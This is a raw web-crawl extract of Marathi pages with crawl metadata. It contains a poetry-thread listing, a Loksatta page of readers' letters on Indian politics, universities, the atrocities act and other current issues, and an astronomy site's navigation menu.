धागा\nउशीराने कळाले की तुझ्या यादीत नव्हते मी लेखनाचा धागा\nएक विंचू चावतो आहे लेखनाचा धागा\nगझल - रक्त एका औषधाने.... प्रश्न\nहृदयात या सुखांचा दुष्काळ गात आहे लेखनाचा धागा\nसांगण्यासारखे काय आहे म्हणा लेखनाचा धागा\nलाटा जरी जातात..... लेखनाचा धागा\nक्षितिजापुढे उडावे लेखनाचा धागा\nमार्ग नाही गावलेला लेखनाचा धागा\nफ़क्त माझा चेहरा पाहून आले लेखनाचा धागा\nबुटामध्ये तुझ्या मी घातलेले पाय माझे लेखनाचा धागा\nचला संकटांनाच चारू खडे लेखनाचा धागा\nसहमत किती लेखनाचा धागा\nगझल - काहीच बचत नसण्याला बचत करावे लेखनाचा धागा\nवर्ख माझ्या चेहर्‍याचा लेखनाचा धागा\nगझल - माणूस समजणाऱ्यांना लेखनाचा धागा\nमरण केले लेखनाचा धागा\nSep 2 2018 - 11:35am डॉ.विक्रांत प्रभाकर तिकोणे\nतृप्ती शोधतो आहे लेखनाचा धागा\nसांजवेळी उदास नसते मी - तरही लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.loksatta.com/lokmanas-news/loksatta-readers-letter-part-171-1658258/", "date_download": "2018-09-25T17:12:19Z", "digest": "sha1:A4E7ITAEDNKCOZYWJXCSY5KJZR4Y3VIN", "length": 45170, "nlines": 249, "source_domain": "www.loksatta.com", "title": "loksatta readers letter part 171 | काहीही गैर नाही | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nही तर राज्यघटनेची पायमल्ली\nमध्य प्रदेशातील चौहान सरकारने भय्यू महाराजांसह नर्मदानंद महाराज, हरिहरनंद महाराज, कम्प्युटर बाबा आणि पंडित योगेंद्र महंत अशा पाच साधूंना राज्यमंत्रिपदाचा दर्जा दिल्याने वाद उफाळून आल्याचे वाचून आश्चर्य वाटले. खरे तर हे साधूमहंत भारतीय नागरिकच आहेत. भारतीय राज्यघटनेने दिलेल्या अधिकारानुसार सरकारमधील पद भूषविण्याचा त्यांनाही अधिकार आहेच. त्यामुळे या गोष्टीचे राजकारण करायची गरज नाही. आज देशातील केंद्रासह अनेक राज्य सरकारांमध्ये ज्यांच्याविरोधात गुन्हेगारी खटले चालू आहेत असे गुन्हेगारी प्रवृत्तीचे अनेक लोक मंत्री म्हणून मिरवत आहेत. इतकेच काय शबनम मौसी नावाची तृतीयपंथी व्यक्ती मध्य प्रदेश विधानसभेवर निवडून गेली होती. या पाश्र्वभूमीवर मध्य प्रदेशच्या मुख्यमंत्र्यांनी पाच बाबांना राज्यमंत्रिपदाचा दर्जा दिल्याने काही गर केले आहे असे वाटत नाही.\n– प्रदीप शंकर मोरे, अंधेरी (मुंबई)\nही तर राज्यघटनेची पायमल्ली\nमध्य प्रदेश सरकारने पाच िहदू बाबांना राज्यमंत्रिपदाचा दर्जा दिल्याची बातमी वाचली. जे पाच बाबा सरकारच्या विरोधात आवाज उठवणार होते, त्यांना राज्यमंत्रिपदाची लाच देऊन गप्प करण्यात आले आहे. हे असे करणे म्हणजे भाजप आणि संघाच्या मते भ्रष्टाचार नाही पशांचा होतो तोच भ्रष्टाचार, अशी यांची भ्रष्टाचाराची व्याख्या. देश/ राज्य चालवताना त्यात धर्म घुसडायचा नाही, असे घटना सांगते. एखाद्या राज्याचा मुख्यमंत्री जर घटनेप्रमाणे राज्य चालवण्यात कसूर करत असेल तर राज्यपालांनी अशा मुख्यमंत्र्यांना समज दिली पाहिजे. पण तसे होताना दिसत नाही. घटनाविरोधी िहदू राष्ट्राची निमिर्ती, अशी घटनाबाह्य़ पद्धतीने राजरोसपणे सुरू आहे. एकहाती सत्तेचा हा माज आहे आणि दिवसागणिक तो वाढताना दिसतो आहे.\n– राजकुमार बोरसे, मुलुंड (मुंबई)\nप्राधान्यक्रम पुन्हा तपासण्याची गरज\n‘सरकारी हमालखाने’ हा अग्रलेख (५ एप्रिल) वाचला. विद्यापीठांतील आजच्या घसरणीला अनेक घटक कारणीभूत आहेत. ज्या मुंबई विद्यापीठाला महिनोन्महिने पूर्णवेळ कुलगुरू मिळत नाही, परीक्षा नियंत्रक नाही. तात्पुरती मलमपट्टी म्हणून अन्य विद्यापीठांतील अधिकारी वर्ग प्रभारी म्हणून नेमून दिवस ढकलले जात आहेत.\nअनेक अभ्यास मंडळे अस्तित्वात नाहीत. आहेत त्यांवर वशिल्याने नियुक्त्या होतात. यातील किती अभ्यास मंडळे सामाजिक आणि उद्योगांच्या गरजा लक्षात घेऊन अभ्यासक्रम तयार करतात, हा संशोधनाचा विषय होऊ शकतो. प्राध्यापकांच्या जागा गेली कित्येक वर्षे भरल्या गेलेल्या नाहीत. असलेल्या प्राध्यापकांचे रखडलेले प्रमोशन्स, संशोधन वृत्तीचा वेगाने होणार ऱ्हास या सगळ्या गोष्टी या घसरणीस जबाबदार आहेत. वर्ष वर्ष विद्यार्थ्यांना निकाल मिळत नाहीत. त्यासाठी त्यांना कोर्टात जावे लागते. या सर्वावर उपाय शोधून त्यांची अंमलबजावणी करण्यासाठी आपले प्राधान्यक्रम पुन्हा तपासून पाहावे लागतील आणि राजकारणविरहित गुणवत्तेशी तडजोड न करणाऱ्या व्यक्ती निर्णय घेणाऱ्या जागी सर्वच विद्यापीठांत नेमाव्या लागतील.\n– सोमनाथ विभुते, पापडी, वसई (पालघर)\nविद्यापीठांत नेत्यांचा शिरकाव आणि भ्रष्टाचार\n‘सरकारी हमालखाने’ हे संपादकीय वाचले. विद्यापीठांची अवस्था इतकी रसातळाला गेली याचे एक महत्त्वाचे कारण म्हणजे अत्यंत खालच्या दर्जाच्या राजकारणाचा विद्यापीठामध्ये प्रवेश. आत्ताच काही दिवसांपूर्वी महाराष्ट्रातील विविध विद्यापीठांमध्ये सिनेटच्या निवडणुका झाल्या. विद्यापीठ कायद्यामध्ये सिनेट निवडणुका या केवळ विद्यार्थ्यांच्या दृष्टिकोनातून असूनही जर निवडणुकांमध्ये प्रस्थापित राजकीय व्यक्तींचा खूप मोठय़ा प्रमाणावर हस्तक्षेप होत असेल, तर सद्य परिस्थिती निर्माण होणे अत्यंत स्वाभाविक आहे. जेव्हा प्रस्थापित राजकीय व्यक्ती अशा विद्यार्थ्यांच्या निवडणुकांमध्ये रस घेतात तेव्हा त्यामागे काहीतरी अत्यंत स्वार्थ दडलेला असणे स्वाभाविक आहे. विद्यापीठांचे वार्षकि बजेट कित्येक कोटींमध्ये असते आणि खर्च करण्याचे अधिकार हे मॅनेजमेंट कौन्सिलला असतात. केवळ विद्यापीठांमध्ये होणाऱ्या भ्रष्टाचाराच्या रकमा कित्येक कोटी रुपयांपर्यंत जातात आणि त्यामुळे राजकारण्यांना उत्पन्नाचे एक नवीन साधन प्राप्त होते. विद्यापीठांमध्ये विविध ठिकाणी नेमणुका कराव्या लागतात. नेमणुका करताना कशा प्रकारचे आर्थिक व्यवहार होतात हे आता समाजासमोर लपून राहिलेले नाही. याखेरीज विद्यापीठांच्या विविध विद्याशाखांमध्ये बऱ्याच वस्तू किंवा यंत्रणा विकत घ्याव्या लागतात. अशा एक ना अनंत पद्धतीने विद्यापीठांमध्ये प्रचंड भ्रष्टाचार बोकाळला आहे.\n– अ‍ॅड. रोहित सर्वज्ञ, औरंगाबाद\n‘सरकारी हमालखाने’ हे संपादकीय (५ एप्रिल) वाचले. शिक्षणासाठी आज लोकांचा कल पाहिला तर तो सरकारी विद्यापीठाकडून खासगी विद्यापीठांकडे बदलत चालला आहे. ज्याप्रमाणे खासगी विद्यापीठांना नाव कमावण्याची, काही तरी करून दाखवण्याची, नवीन लोकांना आकर्षित करण्याची इच्छाशक्ती आहे ती सरकारी विद्यापीठांमध्ये राहिली नाही. शासकीय विद्यापीठांना आज सरकारकडून भरपूर सुविधा पुरवल्या जातात, पण प्रशासकीय इच्छाशक्तीची वानवा असल्याने आज संशोधनाच्या बाबतीत ही शासकीय विद्यापीठे मागे पडत आहेत.\n– सुदीप गुठे, नाशिक\nएकीकडे महिलांना न्याय मिळाला या दृष्टिकोनातून महिला वर्गाकडून प्रयत्न केले जातात आणि दुसरीकडे त्या विरोधात महिलांनी मोच्रे काढावेत ही गोष्ट खरेच खेदजनक वाटते. तोंडी तिहेरी तलाक पाकिस्तानमध्ये समूळ नष्ट झाला आणि भारतात तोंडी तिहेरी तलाकचा कायदा होऊ नये म्हणून महिला वर्गच मोच्रे काढतात हे अजब आहे. अशाने भारतीय समाज सुधारणार कधी व भारत महासत्ता होणार कधी असे प्रश्न उपस्थित राहतात.\n-विक्रम ननवरे, घोटी, करमाळा (सोलापूर)\n‘मध्य प्रदेशात ‘मंत्री बाबां’चे सत्तारोहण’ ही बातमी (५ एप्रिल) आपण नक्की कुठल्या युगात राहतोय हा प्रश्न पाडणारी आहे. पूर्वीच्या काळी राजसत्तेच्या बरोबरीने धर्मसत्ता असे, पण त्यात एकच राजगुरू असे. आता पशाला पासरीभर आध्यात्मिक गुरू सापडतात. आज मध्य प्रदेश सरकारने पाच गुरूंना राज्यमंत्रिपद दिले, उद्या इतर गुरू रांगेत उभे राहिले तर त्यांना सर्वाना हे पद देणार का’ ही बातमी (५ एप्रिल) आपण नक्की कुठल्या युगात राहतोय हा प्रश्न पाडणारी आहे. पूर्वीच्या काळी राजसत्तेच्या बरोबरीने धर्मसत्ता असे, पण त्यात एकच राजगुरू असे. आता पशाला पासरीभर आध्यात्मिक गुरू सापडतात. आज मध्य प्रदेश सरकारने पाच गुरूंना राज्यमंत्रिपद दिले, उद्या इतर गुरू रांगेत उभे राहिले तर त्यांना सर्वाना हे पद देणार का मध्य प्रदेश सरकारने अत्यंत चुकीचा पायंडा पाडला आहे. समाजाला विज्ञाननिष्ठ करण्याऐवजी आध्यात्मिक गुरूंना महत्त्व देणे, बाबाबुवांची पत वाढवून सामान्य माणसाला त्याची तथाकथित बुवाभक्ती बरोबरच असल्याचा चुकीचा संदेश दिला आहे.\nमाया हेमंत भाटकर, चारकोप गाव (मुंबई)\nपाच संतांना राज्यमंत्रिपदाचा दर्जा मिळाला. हे भयंकर आहे. तेसुद्धा अशा संतांना ज्यांनी कधी कोणताही त्याग केलेला नाही. अतिशय आरामदायी जीवन जगत आहे त्यांना. आलिशान गाडय़ा, महागडे मोबाइल, लॅपटॉप वापरणारे संत लोकांच्या सहभागाने आंदोलने करतात आणि स्वत:ला राज्यमंत्रिपदाचा दर्जा मिळताच आंदोलने बंद करतात. यावरून एक गोष्ट नक्कीच दिसून येईल की, नवीन पिढीमध्ये संतांचा उदय मोठय़ा प्रमाणात होईल. कारण त्यांना स्वविकासाचा हा नवीन मार्ग दाखवला गेला आहे. याबद्दल मध्य प्रदेशातील चौहान सरकारचे अभिनंदन करायला काय हरकत आहे\n– अश्विन ढाकरे, पुसद (यवतमाळ)\n‘फॉर्म १५ एफ’विषयी माहितीचा गोंधळ\nनुकत्याच सुरू झालेल्या नवीन वित्तीय वर्षांत (२०१८-१९) सरकारने ज्येष्ठ नागरिकांना मुदतठेवींवरील रु. ५०, ०००/- पर्यंतच्या वार्षिक व्याजावर करसवलत जाहीर केली आहे. म्हणजेच ५० हजार रुपयांवरील वार्षिक व्याजापर्यंत ‘फॉर्म १५ एफ’ भरायची गरज पडायला नको. पण बँका सदरचा फॉर्म भरायला सांगत आहेत अथवा त्यांना अद्याप काही माहीत नाही, असे सांगत आहेत. हे फॉर्म भरण्याची शेवटची तारीख ३१ एप्रील आहे. तेव्हा कुणीतरी जबाबदार संस्था याविषयी लवकरात लवकर जाहीर निवेदन करेल का, जेणेकरून वरिष्ठ नागरिक (व बँकाही) निर्धास्त होतील.\n– अर्जुन बाबुराव मोरे, ठाणे\n‘भीमराव रामजी आंबेडकरां’चा मतलबी वापर\n‘डॉ. बाबासाहेब आंबेडकर यांच्या नावाचा गैरवापर नको’, असे पंतप्रधान नरेंद्र मोदी म्हणत असल्याची बातमी (लोकसत्ता, ५ एप्रिल) आली. त्याआधी उत्तर प्रदेशातील योगी सरकारने यापुढे डॉ. बाबासाहेबांचे पूर्ण नाव ‘भीमराव रामजी आंबेडकर’ असे लिहिले जावे, असा एक अध्यादेश काढला आहे. मुद्दा असा की, योगी सरकारला हे पूर्ण नाव लिहून बाबासाहेबांच्या वडिलांचा गौरव करायचा आहे की मतांचे राजकारण (पर्यायाने गैरवापर) हाच हेतू आहे लोकसभेची निवडणूक तोंडावर आलेली असतानाच भाजपप्रणीत रालोआला विविध प्रादेशिक पक्षांनी घरघर लावली आहे. तेव्हा आजवर दुर्लक्षित ठेवलेल्या समाजगटांचा पाठिंबा मिळवणे भाजपला भाग आहे. अलीकडेच उत्तर प्रदेशात बसप आणि समाजवादी पक्ष एकत्र आल्यामुळे दोन पोटनिवडणुकांत भाजपचा पराभव झाला. अशा स्थितीत डॉ. बाबासाहेब आंबेडकरांचे पूर्ण नाव – वडिलांच्या ‘रामजी’ या नावासह – लिहिण्याचा अट्टहास काय कमावणार आणि काय गमावणार आहे लोकसभेची निवडणूक तोंडावर आलेली असतानाच भाजपप्रणीत रालोआला विविध प्रादेशिक पक्षांनी घरघर लावली आहे. तेव्हा आजवर दुर्लक्षित ठेवलेल्या समाजगटांचा पाठिंबा मिळवणे भाजपला भाग आहे. अलीकडेच उत्तर प्रदेशात बसप आणि समाजवादी पक्ष एकत्र आल्यामुळे दोन पोटनिवडणुकांत भाजपचा पराभव झाला. अशा स्थितीत डॉ. बाबासाहेब आंबेडकरांचे पूर्ण नाव – वडिलांच्या ‘रामजी’ या नावासह – लिहिण्याचा अट्टहास काय कमावणार आणि काय गमावणार आहे डॉ. बाबासाहेब आंबेडकर यांच्या नावाचा उल्लेख त्यांचे अनुयायी कधीही ‘भीमराव’ असा करीत नाहीत. आबालवृद्ध त्यांना बाबासाहेब म्हणतात; युगपुरुष, महामानव म्हणून पितृस्थानी मानतात. असे असताना उत्तर प्रदेश सरकारने ‘भीमराव रामजी’ असा बदल करून ‘बाबासाहेब’ हे नाव मिटवण्याचा छुपा प्रयत्न चालविणे हे खटकणारेच आहे. बरे, भीमराव रामजी आंबेडकर असे नाव लिहिल्यामुळे बाबासाहेबांच्या वडिलांचा सन्मान होतो/वाढतो असे जर खरोखरच भाजपला वाटत असेल, तर मग देशभरच्या २१-२२ राज्यांतील भाजपची वा भाजप सहभागी असलेली सरकारे, सर्वच राष्ट्रपुरुषांची नावे पूर्णत: लिहिली जावीत, असे अध्यादेश काढणार आहेत काय डॉ. बाबासाहेब आंबेडकर यांच्या नावाचा उल्लेख त्यांचे अनुयायी कधीही ‘भीमराव’ असा करीत नाहीत. आबालवृद्ध त्यांना बाबासाहेब म्हणतात; युगपुरुष, महामानव म्हणून पितृस्थानी मानतात. असे असताना उत्तर प्रदेश सरकारने ‘भीमराव रामजी’ असा बदल करून ‘बाबासाहेब’ हे नाव मिटवण्याचा छुपा प्रयत्न चालविणे हे खटकणारेच आहे. बरे, भीमराव रामजी आंबेडकर असे नाव लिहिल्यामुळे बाबासाहेबांच्या वडिलांचा सन्मान होतो/वाढतो असे जर खरोखरच भाजपला वाटत असेल, तर मग देशभरच्या २१-२२ राज्यांतील भाजपची वा भाजप सहभागी असलेली सरकारे, सर्वच राष्ट्रपुरुषांची नावे पूर्णत: लिहिली जावीत, असे अध्यादेश काढणार आहेत काय ‘रामजी’ हे बाबासाहेबांच्या वडिलांचे नाव होते, पण म्हणून हिंदू धर्मव्यवस्थेने त्यांना समतेची वागणूक दिली होती काय ‘रामजी’ हे बाबासाहेबांच्या वडिलांचे नाव होते, पण म्हणून हिंदू धर्मव्यवस्थेने त्यांना समतेची वागणूक दिली होती काय ‘रामजी’पुत्र डॉ. आंबेडकर यांना हिंदू धर्ममरतडांनी नाशिकच्या काळाराम मंदिरात प्रवेश का नाकारला होता ‘रामजी’पुत्र डॉ. आंबेडकर यांना हिंदू धर्ममरतडांनी नाशिकच्या काळाराम मंदिरात प्रवेश का नाकारला होता रामजी या नावाचे राजकीय भांडवल करणारे उत्तर प्रदेश सरकार, बाबासाहेब रामास देव मानत नव्हते, हे सांगणार आहे काय रामजी या नावाचे राजकीय भांडवल करणारे उत्तर प्रदेश सरकार, बाबासाहेब रामास देव मानत नव्हते, हे सांगणार आहे काय बाबासाहेबांनी लिहिलेल्या ‘राम आणि कृष्णाचे कोडे’ (रिडल्स ऑफ राम अ‍ॅण्ड कृष्ण) चा परिचय उत्तर प्रदेशचे सरकार तेथील जनतेला करून देणार आहे काय बाबासाहेबांनी लिहिलेल्या ‘राम आणि कृष्णाचे कोडे’ (रिडल्स ऑफ राम अ‍ॅण्ड कृष्ण) चा परिचय उत्तर प्रदेशचे सरकार तेथील जनतेला करून देणार आहे काय नाही. असे काहीही होणार नाही.\n– बी. व्ही. जोंधळे, औरंगाबाद\nघटनेमागील विज्ञान आणि सामाजिक आशय\n‘बंद मोटारीत गुदमरून पाच वर्षांच्या बालकाचा मृत्यू’ ही बातमी (४ एप्रिल) वाचली. वेदनेच्या जाणिवेमधून यामागच्या वैज्ञानिक आणि सामाजिक कारणांचा येथे वेध घेणे गरजेचे वाटते. कडक उन्हामध्ये उभ्या असलेल्या बंद मोटारीमध्ये तप्त सूर्यकिरणे गाडीच्या पारदर्शक काचेमधून आत प्रवेश करतात व आतील विविध भागांवरून पुन्हा परावर्तित होतात. मात्र परावर्तनाच्या मार्गात त्यांना काचेचा अडथळा होतो, त्यामुळे हे किरण आतमध्येच उष्णता धारण केलेल्या अवस्थेत राहतात आणि काही वेळामध्येच गाडीमध्ये भट्टीसारखे वातावरण तयार होते. अशा वेळी दरवाजा उघडू न शकणारी एखादी व्यक्ती आत अडकली असल्यास तिच्या श्वासोच्छवासाने आतील मर्यादित प्राणवायू झपाटय़ाने कमी होऊन कर्ब वायू वाढू लागतो आणि ती व्यक्ती गुदमरू लागते. हरित वायूंचा वातावरणामधील तापमानवाढीचा संबंध जोडताना नेहमी उन्हामध्ये बंद असलेल्या मोटारीचे उदाहरण दिले जाते. हरितगृहाची संकल्पनासुद्धा यावरच आधारलेली आहे. मोठमोठय़ा शहरामध्ये गृहसंकुलात अथवा त्यास जोडलेल्या बाह्य़ रस्त्यावर अनेक मोटारी बंद अवस्थेत उभ्या करून ठेवलेल्या आढळतात. मदानांच्या अभावामुळे उन्हाळ्याच्या सुट्टीत अनेक लहान मुले अशा गाडय़ांच्या आसपास लपाछपीचे खेळ खेळत असतात. अशा दु:खद घटना भविष्यात घडू नयेत म्हणून यामागचे विज्ञान आणि त्यास जोडलेला सामाजिक आशय आपण सर्वानीच समजून घेणे गरजेचे आहे.\n-डॉ. नागेश टेकाळे, मुंबई\nगोपनीयतेचा भंग ही राज्य सरकारची संस्कृतीच\nबेकायदा उत्सवी मंडप तसेच उत्सवादरम्यान होणारे ध्वनिप्रदूषण याबाबतची तक्रार करणाऱ्याचे नाव उघड केल्याप्रकरणी उच्च न्यायालयाने राज्य सरकारचे कान उपटले (४ एप्रिल) हे अतिशय योग्यच झाले. कारण प्रकरण अधिक संवेदनशील असेल तर यातून तक्रारदाराच्या जिवाला धोकाही निर्माण होऊ शकतो.\nवस्तुत: तक्रारदाराची माहिती संबंधित व्यक्ती /विभागापर्यंत पोहोचवण्यात राज्य सरकार अतिशय तत्पर असते याचा अनुभव मी घेतला आहे. झालेला प्रकार असा : एका वृत्तपत्रात आलेल्या बातमीच्या आधारे नवी मुंबई पालिकेच्या निधीच्या उधळपट्टीची तक्रार राज्य सरकारच्या ‘आपले सरकार’ पोर्टलवर केली होती. आश्चर्याची गोष्ट म्हणजे राज्य सरकारकडून ती पालिकेकडे पोचल्यानंतर तेथील अधिकाऱ्याने अतिशय तत्परतेने ज्या नगरसेवकाच्या विभागातील कामाबाबत ही तक्रार होती, त्यांच्याकडे नाव /मोबाइल नंबरसह तक्रारदाराची माहिती दिली. थोडक्यात काय, तर एकुणातच गोपनीयतेचा भंग ही वर्तमान सरकारची संस्कृतीच असल्याचे दिसते. वस्तुत: सामान्य नागरिकांनी सरकारचा तिसरा डोळा ही भूमिका बजावणे अपेक्षित असेल तर यास पायबंद घालणे अतिशय गरजेचे आहे. न्यायालयाने केवळ राज्य सरकारला इशारा देण्याऐवजी असे प्रकार घडण्यासाठी प्रशासनातील जे खाचखळगे कारणीभूत आहेत त्यांवर घाला घालायला हवा. एक तर राज्य शासनाला प्राप्त तक्रार संबंधित विभागाकडे पाठवताना नाव गुप्त ठेवत ‘एक नागरिक’ अशा प्रकारे पाठवणे अनिवार्य करावे. तक्रारदाराचे नाव उघड झाल्यास हलगर्जीपणाची नोंद संबंधित कर्मचारी /अधिकाऱ्याच्या गोपनीय अहवालात करण्याचे निर्देश द्यावेत.\n-सुधीर लक्ष्मीकांत दाणी, बेलापूर (नवी मुंबई)\n‘ ‘अ‍ॅट्रॉसिटी’ : काय बदलणार’ हा प्रशांत घोडवाडीकर यांचा लेख (५ एप्रिल) वाचला. त्यात त्यांनी पूर्वी व वर्तमानात कायद्याच्या अंमलबजावणीची गत कशी आहे, याची सविस्तर माहिती दिली आहे व त्यात तथ्यही आहे. कितीही कायदे केले तरी जोपर्यंत समाजमन दुभंगलेले राहील तोपर्यंत त्याचा काहीही उपयोग नाही. एखाद्या जमातीवरचा अत्याचार व अन्याय बंद करून अनुसूचित जाती-जमातींना सामाजिक प्रवाहात सामील करून घेणे हे प्रस्थापितांचे इतिकर्तव्य व जबाबदारी आहे. समाजात तेढ निर्माण करण्याला जातीवर आधारित मतपेटीचे राजकारण जबाबदार आहे. आपण सर्व भारतीय समान असून मानवजात ही एकच जात अस्तित्वात आहे ही भावना ज्या दिवशी निर्माण होईल तो सुदिन होय.\n– राघवेंद्र मण्णूर, डोंबिवली\nअ‍ॅट्रॉसिटी कायदा शिथिल होणे अवघडच\nअ‍ॅट्रॉसिटी म्हणजे अनुसूचित जाती व अनुसूचित जमाती अत्याचार प्रतिबंध कायदा आणण्याची गरज स्वातंत्र्यानंतर का वाटली हे जाणणे महत्त्वाचे आहे. प्रसिद्ध दिग्दर्शक डॉ. जब्बार पटेल यांनी चित्रित केलेल्या ‘मुक्ता’ या १९९४ सालच्या चित्रपटात नायकाने जातिव्यवस्था आणि प्रथा यावर प्रहार केले आहेत. त्यात वास्तववादी गोष्टी दाखवण्यात आल्या. अ‍ॅट्रॉसिटी कायदा शिथिल किंवा बंद त्याच दिवशी होईल, ज्या दिवशी जात ही मनातून जाईल.\nसमान नागरी कायद्याची भाषा केली जाते, पण कोणत्याही पक्षाच्या वा आघाडीच्या सरकारने घटनेत नमूद केल्याप्रमाणे समान नागरी कायद्याचा मसुदा तयार करण्याची तसदी घेतलेली नाही. अयोध्येतील वादग्रस्त जागी राम मंदिर बांधण्याची योजना, जम्मू-काश्मीरसाठीचे ३७० कलम गाळून टाकणे आणि समान नागरी कायदा या तीन बाबी संघ परिवाराच्या आणि भाजपच्या खुल्या किंवा छुप्या विषय सूचीत समाविष्ट असल्या तरी त्याचा उल्लेख रालोआच्या विषय सूचीत वगळण्यात आला होता. त्यानंतर तत्कालीन पंतप्रधान डॉ. मनमोहन सिंग यांनी घटनेतील अनुच्छेद ४४ अमलात आणण्यासाठी ठोस प्रयत्न केलेले नाहीत. त्यामुळे जनतेने आणि सरकारने या दोन्हीची व्याप्ती आणि गरज समजावून घेणे गरजेचे आहे.\n– रितेश उषाताई भाऊसाहेब पोपळघट, मु. पो. आंधळगाव, ता. शिरूर (पुणे)\nसर्वोच्च न्यायालयाने अ‍ॅट्रॉसिटी कायद्यामुळे निर्दोष नागरिकांवर होणारा अन्याय टाळला जावा या उद्देशाने पावले उचलली आहेत. त्याचबरोबर दलितांवर होणारा अन्याय व अत्याचाराबद्दल गुन्हेगाराला सूट मिळेल असा कोणताही बदल या निर्णयात केला गेलेला नाही. दलितांना या कायद्याने दिलेले संरक्षण हे पूर्वीप्रमाणेच अबाधित आहे. सर्वोच्च न्यायालयाच्या निर्णयाचा अर्थ असा निघतो की, ज्या नागरिकांवर अ‍ॅट्रॉसिटीचा गुन्हा दाखल झाला आहे त्यांना तात्काळ अटकेपासून संरक्षण मिळावे, जेणेकरून त्या नागरिकांना त्यांची बाजू मांडण्याची संधी मिळावी. हे नैसर्गिक न्यायाच्या चौकटीत आहे.\nजर तो दोषी असेल तर त्याला शिक्षा ही होईलच आणि व्हायलाही पाहिजे; पण गुन्हा सिद्ध व्हायच्या अगोदर त्या नागरिकाला कोठडीत पाठवणे योग्य नाही. त्यामुळे सर्वोच्च न्यायालयाचा निर्णय हा योग्य वाटतो. तो सर्वानी समजून घेणे गरजेचे आहे. नागरिकांनी या निर्णयाचा आधार घेऊन राजकीय हित साधू पाहणाऱ्यांपासून सावध राहण्याची गरज आहे.\n– प्रदीप बोकारे, परभणी\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00137.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://avakashvedh.com/itar/nakshatra.html", "date_download": "2018-09-25T17:26:39Z", "digest": "sha1:CII2XUNLCR4ZOXGC274YKP7TCTG6KA5G", "length": 8065, "nlines": 233, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00138.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B6%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A5%80%E0%A4%9A%E0%A4%BE-%E0%A4%86%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A4%B9-%E0%A4%A7%E0%A4%B0%E0%A4%A3%E0%A4%BE%E0%A4%B1%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B2/", "date_download": "2018-09-25T16:47:27Z", "digest": "sha1:CAZRQGJPNKN7JQWJE7HRJFPOKMUXKP3U", "length": 7808, "nlines": 138, 